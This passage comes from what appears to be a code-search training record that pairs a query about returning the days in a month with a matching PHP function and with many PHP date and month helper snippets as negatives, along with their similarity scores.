$selected)?'selected':'';\r\n\t\t$options .= '<option value=\"'.$value.'\" '.$selectedOpt.' >'.date(\"F\", mktime(0, 0, 0, $i+1, 0, 0)).'</option>';\r\n\t}\r\n\treturn $options;\r\n}", "public function getSaleByMonth2($year = null)\n {\n $date = new \\DateTime(\"now\");\n $currentYear = $date->format('y');\n //If the value of $year is not define then use the current year (default)\n if(!$year){\n $year = $currentYear;\n }\n \n //Get all the STransaction from the DB first.\n $STransactions = $this->em->getRepository('TransactionBundle:STransaction')->findAll();\n $months = array('jan' => 0, 'feb' => 0, 'mar' => 0, 'apr' => 0, 'may' => 0, 'jun' => 0, 'jul'\n => 0, 'aug' => 0, 'sep' => 0, 'oct' => 0, 'nov' => 0, 'dec' => 0);\n foreach ($STransactions as $st){\n $m = $st->getCreatedAt()->format(\"m\");\n $y = $st->getCreatedAt()->format(\"y\");\n if($m == 01 && $y == $year){\n $months['jan'] = $months['jan'] + $st->getTotalAmount();\n }elseif($m == 11 && $y == $year){\n $months['nov'] = $months['nov'] + $st->getTotalAmount();\n }\n }\n \n return $months;\n \n }", "function getAllMonths($selected = '') {\n $options = '';\n for ($i = 1; $i <= 12; $i++) {\n $value = ($i < 10) ? '0' . $i : $i;\n $selectedOpt = ($value == $selected) ? 'selected' : '';\n $options .= '<option value=\"' . $value . '\" ' . $selectedOpt . ' >' . date(\"F\", mktime(0, 0, 0, $i + 1, 0, 0)) . '</option>';\n }\n return $options;\n}", "function getAllMonths($selected = '') {\r\n $options = '';\r\n for ($i = 1; $i <= 12; $i++) {\r\n $value = ($i < 01) ? '0' . $i : $i;\r\n $selectedOpt = ($value == $selected) ? 'selected' : '';\r\n $options .= '<option value=\"' . $value . '\" ' . $selectedOpt . ' >' . date(\"F\", mktime(0, 0, 0, $i + 1, 0, 0)) . '</option>';\r\n }\r\n return $options;\r\n}", "function getMonthRange( $start, $end ){\n\n\t$current = $start;\n\t$ret = array();\n\n\t// date iteration method via: https://gist.github.com/daithi-coombes/9779776\n\twhile( $current<$end ){\n\t\t$next = date('Y-M-01', $current) . \"+1 month\";\n\t\t$current = strtotime($next);\n\t\t$ret[] = $current;\n\t}\n\t$ret = array_reverse($ret);\n\n\t// convert timestamp into expected date format array\n\tforeach ($ret as $key => $value) {\n\t\t$ret[$key] = date('F Y', $value);\n\t}\n\treturn $ret;\n}", "public function testYearlyByMonthLoop()\n {\n $this->parse(\n 'FREQ=YEARLY;INTERVAL=1;UNTIL=20120203T225959Z;BYMONTH=2;BYSETPOS=1;BYDAY=SU,MO,TU,WE,TH,FR,SA',\n '2012-01-01 15:45:00',\n [\n '2012-02-01 15:45:00',\n ],\n 'yearly', null, 1, new DateTime('2012-02-03 22:59:59'),\n '2012-01-29 23:00:00'\n );\n }", "private function returnPaymentDateArray($inputDate, $numberOfMonths){\n \t$results = array();\n \tfor ( $i=1; $i < $numberOfMonths+1; $i++){\n \t\t$results[] = Carbon::parse($inputDate)->addMonthsNoOverflow($i)->format('Y-m-d');\n \t}\n \treturn $results;\n }", "public static function getMonth(){\n\t\t// this represents the number of seconds ni a month\n\t\t// editing this will lead to false values\n\t\treturn 2419200;\n\t}", "public function getDifferenceInMonths();", "public function sumCashTransactionPerMonths(): array\n {\n $months = ['jan', 'feb', 'mar', 'apr', 'mei', 'jun', 'jul', 'agu', 'sep', 'okt', 'nov', 'des'];\n\n for ($i = 1; $i <= 12; $i++) {\n // Looping dari angka 1-12 karena setiap tahun ada 12 bulan dan menghitung kolom amount\n // berdasarkan bulannya.\n $cashTransactions = $this->model\n ->select('is_paid', 'amount', 'date')\n ->whereMonth('date', \"{$i}\")\n ->whereYear('date', date('Y'))\n ->sum('amount');\n\n $results[$months[$i - 1]] = $cashTransactions;\n }\n\n /**\n * Output yang akan dihasilkan seperti dibawah ini\n * \n * $results = [\n * 'jan' => 10000,\n * 'feb' => 10000,\n * 'mar' => 10000,\n * 'apr' => 10000,\n * 'mei' => 10000,\n * 'jun' => 10000,\n * 'jul' => 10000,\n * 'agu' => 10000,\n * 'sep' => 10000,\n * 'okt' => 10000,\n * 'nov' => 10000,\n * 'des' => 10000\n * ];\n */\n\n return $results;\n }", "function createNextMonthArray() { \n\t\t$date = date(\"Ymd\");\n\t\t$result = array($date);\n\n\n\t\tfor ($i=0; $i < 5; $i++) { \n\t\t\t$timestamp = strtotime($date);\n\t\t\t$date =date(\"Ymd\", strtotime('+1 day', $timestamp));\n\t\t\tarray_push($result,$date);\n\t\t}\n\t\treturn $result;\n\t}", "protected static function months_between(DateTime $date1, DateTime $date2){\r\n \r\n\r\n $months_between = array();\r\n $m1 = $date1->format('n');\r\n $m2 = $date2->format('n');\r\n $y1 = $date1->format('Y');\r\n $y2 = $date2->format('Y');\r\n// echo \"<h5>1: $m1 $y1 2: $m2 $y2</h5>\";\r\n \r\n $total_months_between = $m2-$m1 + ($y2-$y1)*12 ;\r\n// echo \"<h5>ukupno izmedju $total_months_between</h5>\";\r\n \r\n $date1->modify('first day of this month');\r\n $date2->modify('first day of this month');\r\n $date1->modify('+1 month');\r\n\r\nfor ($i=1; $i<=$total_months_between; $i++){\r\n $month = $date1->format('F');\r\n $month = strtolower($month);\r\n $year = $date1->format('Y');\r\n \r\n $months_between[$year][] = $month;\r\n $date1->modify('+1 month');\r\n }\r\n\r\n \r\n// var_dump($months_between);\r\n return $months_between;\r\n\r\n }", "public function getYears()\r\n\t{\r\n \t$years = array();\r\n\t\t\r\n\t\t$initYear = (int) date(\"Y\");\r\n\t\t\r\n\t\tfor($i = $initYear; $i <= $initYear + 10; $i++)\r\n\t\t{\r\n\t\t\t$years[] = array(\"num\" => $i, \"label\" => $i);\r\n\t\t}\r\n\t\t\r\n\t\treturn $years;\r\n\t}", "function getAllMonths($selected = ''){\n $options = '';\n for($i=1;$i<=12;$i++)\n {\n $value = ($i < 10)?'0'.$i:$i;\n $selectedOpt = ($value == $selected)?'selected':'';\n $options .= '<option value=\"'.$value.'\" '.$selectedOpt.' >'.date(\"F\", mktime(0, 0, 0, $i+1, 0, 0)).'</option>';\n }\n return $options;\n}", "function date_month($date){\r\n\t$month = NULL;\r\n\t$cont = 0;\r\n\tfor($i = 0; $i < strlen($date); $i++){\r\n\t\tif(is_numeric(substr($date, $i, 1))){\r\n\t\t\tif($cont == 1){\r\n\t\t\t\t$month .= substr($date, $i, 1);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tif($cont > 0){\r\n\t\t\t\treturn $month;\r\n\t\t\t}else{\r\n\t\t\t\t$cont++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $month;\r\n}", "function getBookingByMonth()\n {\n $query = $this->db->select('BK_Year,BK_Month,BK_Day')\n ->get('booking');\n return $query->result();\n }", "function monthPeriod_start_end($begin, $end)\n{\n $begin = (new DateTime($begin.'-01-01'))->modify('first day of this month');\n $end = (new DateTime($end.'-12-01 +1 month'))->modify('first day of this month');\n $daterange = new DatePeriod($begin, new DateInterval('P1M'), $end);\n\n foreach ($daterange as $date) {\n $dates[] = $date->format(\"m\");\n }\n return $dates;\n}" ]
[ "0.835848", "0.82891667", "0.80504906", "0.793369", "0.7881668", "0.78092444", "0.7775617", "0.7682879", "0.7478617", "0.74438745", "0.7434012", "0.7423093", "0.736445", "0.7338781", "0.732974", "0.7328457", "0.72994274", "0.7298369", "0.715492", "0.7147159", "0.7095324", "0.70908076", "0.70782", "0.702418", "0.69817877", "0.69596255", "0.6938503", "0.68988895", "0.6879815", "0.6869172", "0.6832893", "0.6822775", "0.67756474", "0.66975164", "0.66710985", "0.66096216", "0.6605982", "0.6597179", "0.6586847", "0.6586773", "0.65454745", "0.6535912", "0.65270525", "0.6512285", "0.6501392", "0.65004754", "0.64995867", "0.6459353", "0.64357746", "0.6428724", "0.6427303", "0.64149904", "0.64125276", "0.64046746", "0.64010465", "0.63999915", "0.63783133", "0.6373494", "0.636909", "0.6368986", "0.63685435", "0.63350767", "0.63314265", "0.628586", "0.62843823", "0.62725896", "0.6269974", "0.62683177", "0.6254651", "0.625276", "0.62376255", "0.6237421", "0.6227483", "0.6217499", "0.62171507", "0.6214872", "0.62072355", "0.61951417", "0.6174807", "0.6174567", "0.6170377", "0.6160071", "0.61542493", "0.6145879", "0.6136817", "0.6126313", "0.6124767", "0.61240345", "0.6108134", "0.6107926", "0.61008865", "0.6075541", "0.6063031", "0.6059674", "0.6057201", "0.60568935", "0.604046", "0.60389197", "0.60360175", "0.6027639" ]
0.7993821
3
This function will return the days in a month i.e. 31 return month array
public static function getDays() { $days=array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31); return $days; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get_month_days ($month) {\n $labels = array();\n $month = month_converter($month);\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $month, $date->format('Y'));\n $day = $date->format('d');\n $i = 0;\n while ($i < 30) {\n if ($day <= $monthdays) {\n if (strlen($day) == 1) {\n $day = '0' . $day;\n }\n if (strlen($month) == 1) {\n $month = '0' . $month;\n }\n $labels[] = $day.'-'.$month;\n $day++;\n $i++;\n } else {\n $day = 1;\n $month++;\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $month, $date->format('Y'));\n }\n }\n return $labels;\n}", "function get_month_days_cm ($fecha) {\n $labels = array();\n $month = month_converter($fecha->month);\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $fecha->month, $fecha->year);\n $i = 0;\n while ($i < $monthdays) {\n $i++;\n $labels[] = $i;\n }\n return $labels;\n}", "public function daysOfMonthProvider(): array\n {\n return [\n // Time Days Match?\n ['1st January', [1], true],\n ['2nd January', [1], false],\n ['2nd January', [2], true],\n ['2nd January', [1, 2], true],\n ['31st January', [1, 8, 23, 31], true],\n ['29th February 2020', [29], true],\n ];\n }", "function getDaysInMonth()\r\n {\r\n return Data_Calc::diasInMonth($this->mes, $this->ano);\r\n }", "function getDays_ym($month, $year){\n // Start of Month\n $start = new DateTime(\"{$year}-{$month}-01\");\n $month = $start->format('F');\n\n // Prepare results array\n $results = array();\n\n // While same month\n while($start->format('F') == $month){\n // Add to array\n $day = $start->format('D');\n $sort_date = $start->format('j');\n $date = $start->format('Y-m-d');\n $results[$date] = ['day' => $day,'sort_date' => $sort_date,'date' => $date];\n\n // Next Day\n $start->add(new DateInterval(\"P1D\"));\n }\n // Return results\n return $results;\n}", "function getMonthArray()\n{\n\t$arrMonths = array();\n\n\tfor ($i=1; $i<13; $i++)\n\t{\n\t\t$arrMonths[$i] = date('M', mktime(0, 0, 1, $i, 1));\n\t}\n\t\n\treturn $arrMonths;\n}", "public function getDaysAsArray()\n {\n $days = [];\n $startCurrent = $this->weekdayIndexes[$this->currentMonth[\"weekday\"]];\n $startPrevious = $this->noOfDaysPrevious - ($startCurrent - 1);\n // Add days of previous month\n for ($i = $startPrevious; $i <= $this->noOfDaysPrevious; $i++) {\n $days[] = $i;\n }\n // Add days of current month\n for ($j = 1; $j <= $this->noOfDays; $j++) {\n $days[] = $j;\n }\n // Add days of next month\n for ($k = 1; count($days) % 7 !== 0; $k++) {\n $days[] = $k;\n }\n return $days;\n }", "public static function getDaysInMonth($month, $year) {}", "private function _getDays($month, $year)\n {\n $daysInMonth = $this->_daysInMonth($month, $year);\n $days = array();\n\n for ($i = 1; $i <= $daysInMonth; $i++)\n {\n $days[] = $i;\n }\n\n return $days;\n }", "protected function getDaysArray($month, $year)\n\t{\n\t\t$daysinmonth = $this->days_in_month($month, $year);\n\t\t$domStar = false;\n\t\t$dowStar = false;\n\t\t$da = array_pad([], $daysinmonth + 1, null);\n\t\tunset($da[0]);\n\t\t$dwa = array_pad([], $daysinmonth + 1, null);\n\t\tunset($dwa[0]);\n\t\tforeach ($this->_attr[self::DAY_OF_MONTH] as $d) {\n\t\t\tif ($d['dom'] === '*' || $d['dom'] === '?') {\n\t\t\t\t$domStar = (($d['dom'] == '?') || ($d['period'] == 1));\n\t\t\t\tforeach ($da as $key => $value) {\n\t\t\t\t\tif (($key - 1) % $d['period'] == 0) {\n\t\t\t\t\t\t$da[$key] = 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} elseif (is_numeric($d['dom'])) {\n\t\t\t\t$startDay = $d['dom'];\n\t\t\t\tif ($d['domWeekday']) {\n\t\t\t\t\t$datea = getdate(strtotime(\"$year-$month-$startDay\"));\n\t\t\t\t\tif ($datea['wday'] == 6) {\n\t\t\t\t\t\tif ($startDay == 1) {\n\t\t\t\t\t\t\t$startDay = 3;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$startDay--;\n\t\t\t\t\t\t}\n\t\t\t\t\t} elseif ($datea['wday'] == 0) {\n\t\t\t\t\t\tif ($startDay == $daysinmonth) {\n\t\t\t\t\t\t\t$startDay = $daysinmonth - 2;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$startDay++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$endDay = $d['end'];\n\t\t\t\tif ($d['endWeekday']) {\n\t\t\t\t\t$datea = getdate(strtotime(\"$year-$month-$endDay\"));\n\t\t\t\t\tif ($datea['wday'] == 6) {\n\t\t\t\t\t\tif ($endDay == 1) {\n\t\t\t\t\t\t\t$endDay = 3;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$endDay--;\n\t\t\t\t\t\t}\n\t\t\t\t\t} elseif ($datea['wday'] == 0) {\n\t\t\t\t\t\tif ($endDay == $daysinmonth) {\n\t\t\t\t\t\t\t$endDay = $daysinmonth - 2;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$endDay++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor ($i = $startDay; $i <= $endDay && $i <= 31; $i += $d['period']) {\n\t\t\t\t\t$da[$i] = 1;\n\t\t\t\t}\n\t\t\t} elseif ($d['dom'] == 'L') {\n\t\t\t\t$less = empty($d['end']) ? 0 : $d['end'];\n\t\t\t\t$da[$daysinmonth - $less] = 1;\n\t\t\t}\n\t\t}\n\t\t$firstDatea = getdate(strtotime(\"$year-$month-01\"));\n\t\tforeach ($this->_attr[self::DAY_OF_WEEK] as $d) {\n\t\t\tif (is_numeric($d['dow'])) {\n\t\t\t\t//start at the first sunday on or before the 1st day of the month\n\t\t\t\tfor ($i = 1 - $firstDatea['wday']; $i <= $daysinmonth; $i += 7) {\n\t\t\t\t\tfor ($ii = $d['dow']; ($ii <= $d['end']) && ($ii < 7) && (($i + $ii) <= $daysinmonth); $ii += $d['period']) {\n\t\t\t\t\t\t$iii = $i + $ii;\n\t\t\t\t\t\t$w = floor(($iii + 6) / 7);\n\t\t\t\t\t\t$lw = floor(($daysinmonth - $iii) / 7);\n\n\t\t\t\t\t\tif (($iii >= 0) && ((!$d['week'] || $d['week'] == $w) && (!$d['lastDow'] || $lw == 0))) {\n\t\t\t\t\t\t\t$dwa[$iii] = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ($dowStar) {\n\t\t\treturn $da;\n\t\t} elseif ($domStar) {\n\t\t\treturn $dwa;\n\t\t}\n\t\tforeach ($da as $key => $value) {\n\t\t\t$da[$key] = $value && ($dwa[$key] ?? 0);\n\t\t}\n\t\treturn $da;\n\t}", "public static function getMonths() \n\t {\n\t\t $month=array(1,2,3,4,5,6,7,8,9,10,11,12);\n\t\t return $month;\n\t }", "protected function getMonthsArray()\n\t{\n\t\t$ma = array_pad([], 13, null);\n\t\tunset($ma[0]);\n\t\tforeach ($this->_attr[self::MONTH_OF_YEAR] as $m) {\n\t\t\tif (is_numeric($m['moy'])) {\n\t\t\t\tfor ($i = $m['moy']; $i <= $m['end'] && $i <= 12; $i += $m['period']) {\n\t\t\t\t\t$ma[$i] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $ma;\n\t}", "private function _getDaysArray($month, $year = 0)\n {\n if ($year == 0)\n {\n $year = $this->year;\n }\n\n $days = array();\n\n // Return everyday of the month if both bit[2] and bit[4] are '*'\n if ($this->bits[2] == '*' AND $this->bits[4] == '*')\n {\n $days = $this->_getDays($month, $year);\n }\n else\n {\n // Create an array for the weekdays\n if (substr($this->bits[4], 0, 1) == '*')\n {\n if (substr($this->bits[4], 1, 1) == '/')\n {\n $step = (int) substr($this->bits[4], 2);\n }\n else\n {\n $step = 1;\n }\n \n for ($i = 0; $i <= 6; $i += $step)\n {\n $arWeekdays[] = $i;\n }\n }\n else\n {\n $arWeekdays = $this->_expandRanges($this->bits[4]);\n $arWeekdays = $this->_sanitize($arWeekdays, 0, 7);\n\n // Map 7 to 0, both represents Sunday. Array is sorted already!\n if (in_array(7, $arWeekdays))\n {\n if (in_array(0, $arWeekdays))\n {\n array_pop($arWeekdays);\n }\n else\n {\n $tmp[] = 0;\n array_pop($arWeekdays);\n $arWeekdays = array_merge($tmp, $arWeekdays);\n }\n }\n }\n\n if ($this->bits[2] == '*')\n {\n $daysmonth = $this->_getDays($month, $year);\n }\n else\n {\n $daysmonth = $this->_expandRanges($this->bits[2]);\n\n // So that we do not end up with 31 of Feb\n $daysInMonth = $this->_daysInMonth($month, $year);\n $daysmonth = $this->_sanitize($daysmonth, 1, $daysInMonth);\n }\n\n // Now match these days with weekdays\n foreach ($daysmonth AS $day)\n {\n $wkday = date('w', mktime(0, 0, 0, $month, $day, $year));\n if (in_array($wkday, $arWeekdays))\n {\n $days[] = $day;\n }\n }\n }\n\n return $days;\n }", "public function Months() {\r\n// $months = array(1 => 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');\r\n $months = array(1 => 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sept', 'Oct', 'Nov', 'Dec');\r\n return $months;\r\n }", "public function getTwelveMonth() {\n $result = array();\n $cur = strtotime(date('Y-m-01', time()));\n for ($i = 0; $i <= 11; $i++) {\n $result[$i] = date('M', $cur);\n $cur = strtotime('next month', $cur);\n }\n\n return $result;\n }", "function getDay($month, $year)\n {\n if ( empty($year) ) {\n $year = date('Y');\n }\n $day_arr = array();\n if ( $month != 0 ) {\n $number = date('t', mktime(0, 0, 0, $month, 1, $year));\n for ( $i = 1; $i <= $number; $i++ ) {\n $i = sprintf('%02d', $i);\n $day_arr[$i] = $i;\n }\n }\n\n return $day_arr;\n }", "public static function getMonthDates()\n {\n $current_year = date('Y-01-01 00:00:00');\n $month_names = self::getMonthNames();\n $months = array();\n for ($i=0; $i<12; $i++) {\n $months[$i] = array( 'name'=>$month_names[$i],'date'=>date('Y-m-d 00:00:00',strtotime(\"$current_year + $i months\")));\n }\n\n return $months;\n }", "function daysInMonth( $month=0, $year=0 ) {\n\t\t$month = intval( $month );\n\t\t$year = intval( $year );\n\t\tif (!$month) {\n\t\t\tif (isset( $this )) {\n\t\t\t\t$month = $this->month;\n\t\t\t} else {\n\t\t\t\t$month = date( \"m\" );\n\t\t\t}\n\t\t}\n\t\tif (!$year) {\n\t\t\tif (isset( $this )) {\n\t\t\t\t$year = $this->year;\n\t\t\t} else {\n\t\t\t\t$year = date( \"Y\" );\n\t\t\t}\n\t\t}\n\t\tif ($month == 2) {\n\t\t\tif (($year % 4 == 0 && $year % 100 != 0) || $year % 400 == 0) {\n\t\t\t\treturn 29;\n\t\t\t} else {\n\t\t\t\treturn 28;\n\t\t\t}\n\t\t} else if ($month == 4 || $month == 6 || $month == 9 || $month == 11) {\n\t\t\treturn 30;\n\t\t} else {\n\t\t\treturn 31;\n\t\t}\n\t}", "function _makeMonth($date){\n // YYYY-MM and return an array of all the days\n // in the the month. The array that is returned\n // is in the same formate which is returned by\n // 'makeWeek' function\n $start = Carbon::parse($date)->startOfMonth();\n $end = Carbon::parse($date)->endOfMonth();\n $month = [];\n while ($start->lte($end)) {\n $carbon = $start;\n $month[] = $this->_makeDay($carbon);\n $start->addDay();\n }\n return $month;\n }", "protected function getMonthValues()\r\n {\r\n\t $month = array();\r\n\t $month[1] = 'January';\r\n\t $month[2] = 'February';\r\n\t $month[3] = 'March';\r\n\t $month[4] = 'April';\r\n\t $month[5] = 'May';\r\n\t $month[6] = 'June';\r\n\t $month[7] = 'July';\r\n\t $month[8] = 'August';\r\n\t $month[9] = 'September';\r\n\t $month[10] = 'October';\r\n\t $month[11] = 'November';\r\n\t $month[12] = 'December';\t \r\n\t \r\n\t return $month;\r\n }", "function days_in_month($month, $year)\n\t{\n\t\tif(checkdate($month, 31, $year)) return 31;\n\t\tif(checkdate($month, 30, $year)) return 30;\n\t\tif(checkdate($month, 29, $year)) return 29;\n\t\tif(checkdate($month, 28, $year)) return 28;\n\t\treturn 0; // error\n\t}", "public function getMonths();", "public function getNumberOfDays($month = \"\"){ $month = ($month == \"\")? $this->getMonth(): $month; return cal_days_in_month(CAL_GREGORIAN,$month,$this->getYear());}", "private function _daysInMonth($month=null,$year=null){\n \n if(null==($year))\n $year = date(\"Y\",time()); \n \n if(null==($month))\n $month = date(\"m\",time());\n \n return date('t',strtotime($year.'-'.$month.'-01'));\n }", "private function _daysInMonth ()\n {\n return date('t', strtotime($this->currentYear.'-'.$this->currentMonth));\n }", "public function getMonths()\r\n\t{\r\n \t$months = array();\r\n\t\t\r\n\t\tfor($i = 1; $i <= 12; $i++)\r\n\t\t{\r\n\t\t\t$label = ($i < 10) ? (\"0\" . $i) : $i;\r\n\t\t\t\r\n\t\t\t$months[] = array(\"num\" => $i, \"label\" => $this->htmlEscape($label));\r\n\t\t}\r\n\t\t\r\n\t\treturn $months;\r\n\t}", "function days_in_month($month, $year)\n{\n\treturn $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\n}", "protected function get_all_days_in_month($year, $month)\n {\n $md= array(1=>31,28,31,30,31,30,31,31,30,31,30,31);\n\n if ( is_numeric($year) and $month==2)\n {\n $nb_days = $md[2];\n if ( ($year%4==0) and ( ($year%100!=0) or ($year%400!=0) ) )\n {\n $nb_days++;\n }\n }\n elseif ( is_numeric($month) )\n {\n $nb_days = $md[ $month ];\n }\n else\n {\n $nb_days = 31;\n }\n return $nb_days;\n }", "private function getDatesInMonth() {\n $viewer = $this->getViewer();\n\n $timezone = new DateTimeZone($viewer->getTimezoneIdentifier());\n\n $month = $this->month;\n $year = $this->year;\n\n list($next_year, $next_month) = $this->getNextYearAndMonth();\n\n $end_date = new DateTime(\"{$next_year}-{$next_month}-01\", $timezone);\n\n list($start_of_week, $end_of_week) = $this->getWeekStartAndEnd();\n\n $days_in_month = id(clone $end_date)->modify('-1 day')->format('d');\n\n $first_month_day_date = new DateTime(\"{$year}-{$month}-01\", $timezone);\n $last_month_day_date = id(clone $end_date)->modify('-1 day');\n\n $first_weekday_of_month = $first_month_day_date->format('w');\n $last_weekday_of_month = $last_month_day_date->format('w');\n\n $day_date = id(clone $first_month_day_date);\n\n $num_days_display = $days_in_month;\n if ($start_of_week !== $first_weekday_of_month) {\n $interim_start_num = ($first_weekday_of_month + 7 - $start_of_week) % 7;\n $num_days_display += $interim_start_num;\n\n $day_date->modify('-'.$interim_start_num.' days');\n }\n if ($end_of_week !== $last_weekday_of_month) {\n $interim_end_day_num = ($end_of_week - $last_weekday_of_month + 7) % 7;\n $num_days_display += $interim_end_day_num;\n $end_date->modify('+'.$interim_end_day_num.' days');\n }\n\n $days = array();\n\n for ($day = 1; $day <= $num_days_display; $day++) {\n $day_epoch = $day_date->format('U');\n $end_epoch = $end_date->format('U');\n if ($day_epoch >= $end_epoch) {\n break;\n } else {\n $days[] = clone $day_date;\n }\n $day_date->modify('+1 day');\n }\n\n return $days;\n }", "public function Dates() {\r\n $dates = [];\r\n for ($i = 1; $i <= 31; $i++) {\r\n $dates[$i] = $i;\r\n }\r\n return $dates;\r\n }", "function daysOnMonth($month, $year) {\n\tif (month <= 0) {\n\t\t$year -= 1;\n\t\t$month += 12;\n\t}\n\tif ( in_array( $month, array(4,6,9,11) ) ) return 30;\n\telseif ($month == 2) {\n\t\tif ( isBissextile($year) ) return 29;\n\t\telse return 28;\n\t} else return 31;\n}", "function daysInMonth($m, $y)\n\t{\n\t\tif( $m < 1 || $m > 12 )\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// 30: 9, 4, 6, 11\n\t\t\tif( $m == 9 || $m == 4 || $m == 6 || $m == 11 )\n\t\t\t{\n\t\t\t\treturn 30;\n\t\t\t}\n\t\t\telse if( $m != 2 )\n\t\t\t{\n\t\t\t\t// all the rest have 31\n\t\t\t\treturn 31;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// except for february alone\n\t\t\t\tif( $y % 4 != 0 )\n\t\t\t\t{\n\t\t\t\t\t// which has 28\n\t\t\t\t\treturn 28;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif( $y % 100 != 0 ) \n\t\t\t\t\t{\n\t\t\t\t\t\t// and on leap years 29\n\t\t\t\t\t\treturn 29;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif( $y % 400 != 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// deja vu: which has 28\n\t\t\t\t\t\t\treturn 28;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// deja vu: and on leap years 29\n\t\t\t\t\t\t\treturn 29;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function getDaysInMonth($y, $m)\n {\n return (int)Date_Calc::daysInMonth($m, $y);\n }", "function getDaysInMonthByYear($year){\n\t if($year%400 == 0 || ($year % 4 == 0 && $year % 100 !== 0)){\n\t $rday = 29;\n\t }\n\t else{\n\t $rday = 28;\n\t }\n\t $daysArr = array();\n\t for ($i = 1; $i <= 12; $i++){\n\t if( $i == 2 ) {\n\t $days = $rday;\n\t }\n\t else {\n\t $days = (($i - 1) % 7 % 2) ? 30 : 31;\n\t }\n\t array_push($daysArr, $days);\n\t }\n\t return $daysArr;\n\t}", "function daysInMonth($year, $month) \n{\n if ($month == 1) return 31;\n if ($month == 2) {\n if ((($year%4) == 0) && ((($year%100) != 0) \n || ((($year%100) == 0) && (($year%400) == 0)))\n ) return 29;\n return 28;\n }\n if ($month == 3) return 31;\n if ($month == 4) return 30;\n if ($month == 5) return 31;\n if ($month == 6) return 30;\n if ($month == 7) return 31;\n if ($month == 8) return 31;\n if ($month == 9) return 30;\n if ($month == 10) return 31;\n if ($month == 11) return 30;\n if ($month == 12) return 31;\n return 0;\n \n}", "public function getMonths() {\r\n\t\t$month = array();\r\n\r\n\t\t$month[1] = array('id' => 1, 'name' => 'January');\r\n\t\t$month[2] = array('id' => 2, 'name' => 'February');\r\n\t\t$month[3] = array('id' => 3, 'name' => 'March');\r\n\t\t$month[4] = array('id' => 4, 'name' => 'April');\r\n\t\t$month[5] = array('id' => 5, 'name' => 'May');\r\n\t\t$month[6] = array('id' => 6, 'name' => 'June');\r\n\t\t$month[7] = array('id' => 7, 'name' => 'July');\r\n\t\t$month[8] = array('id' => 8, 'name' => 'August');\r\n\t\t$month[9] = array('id' => 9, 'name' => 'September');\r\n\t\t$month[10] = array('id' => 10, 'name' => 'October');\r\n\t\t$month[11] = array('id' => 11, 'name' => 'November');\r\n\t\t$month[12] = array('id' => 12, 'name' => 'December');\r\n\r\n\t\treturn $month; //array\r\n\t}", "public function days_in_month($month, $year)\n\t{\n\t\treturn $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\n\t}", "function get_daily_weather_for_month( \n $y = 2014, \n $m = 01 )\n {\n $days = date( 't', mktime( 0, 0, 0, $m, 1, $y ) );\n $data = array();\n for ( $i = 1; $i <= $days; $i++ ) {\n $date = date( 'Y-m-d', mktime( 0, 0, 0, $m, $i, $y ) );\n $results = $this->_db->select( \n \"SELECT * \n FROM weather_days\n WHERE date_day = '\".$date.\"'\" );\n if ( is_object( $results[0] ) ) {\n $data[$i] = $results[0];\n }\n }\n return $data;\n }", "public static function daysInMonth($month, $year)\n {\n return cal_days_in_month(CAL_GREGORIAN, $month, $year);\n }", "function getMonthlyHiredDays( $startDate, $endDate ) {\n \n $startDate = DateTime::createFromFormat('Y-m-d H:i:s', $startDate);\n $endDate = DateTime::createFromFormat('Y-m-d H:i:s', $endDate);\n \n if ( !$startDate || !$endDate ) {\n \n echo 'Invalid arguments';\n return;\n }\n \n if ( $startDate > $endDate) {\n \n echo 'The start date is greater than the end date';\n return;\n }\n \n $hiredDays = array(); \n if ( $startDate->format('n') == $endDate->format('n') && $startDate->format('Y') == $endDate->format('Y') ) {\n \n // Get ddays between days and push to the array\n array_push( $hiredDays,\n array(\n 'year' => $startDate->format('Y'),\n 'month' => $startDate->format('n'),\n 'days' => $startDate->diff($endDate, true)->days\n )\n );\n \n }else {\n \n // Loop until the last date and get the days of every month \n while( true ) { \n \n if( !isset($startPoint) ) {\n \n $startPoint = $startDate; \n $m = $startDate->format('n');\n }else {\n \n $startPoint = $endPoint->add(new DateInterval('P1D'));\n $startPoint = $startPoint->setTime(0,0,0);\n $m = $startPoint->format('n');\n }\n \n if ( $m == 11 //30 days\n || $m == 4\n || $m == 6\n || $m == 9 ) {\n \n $monthDays = 30;\n }elseif ( $m == 2 ) { // 28 days\n \n $monthDays = $startPoint->format('L') == 1 ? 29 : 28;\n \n }else { // 